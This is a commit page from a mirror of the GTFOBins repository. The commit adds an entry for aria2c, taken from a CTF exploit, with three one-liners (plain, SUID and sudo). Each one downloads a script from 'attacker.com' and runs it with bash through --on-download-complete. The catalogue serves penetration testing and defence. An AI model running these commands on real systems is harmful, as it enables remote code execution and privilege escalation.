mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add aria2c
Taken from https://github.com/InsecurityAsso/inshack-2018/blob/master/web/curler/exploit/exploit
This commit is contained in:
parent
8eaf595fe6
commit
65b762ca80
13
_gtfobins/aria2c.md
Normal file
13
_gtfobins/aria2c.md
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
---
|
||||||
|
description: |
|
||||||
|
Note that the subprocess is immediately sent to the background.
|
||||||
|
|
||||||
|
The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed.
|
||||||
|
functions:
|
||||||
|
execute-non-interactive:
|
||||||
|
- code: aria2c --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
|
||||||
|
suid-enabled:
|
||||||
|
- code: ./aria2c --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
|
||||||
|
sudo-enabled:
|
||||||
|
- code: sudo aria2c --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user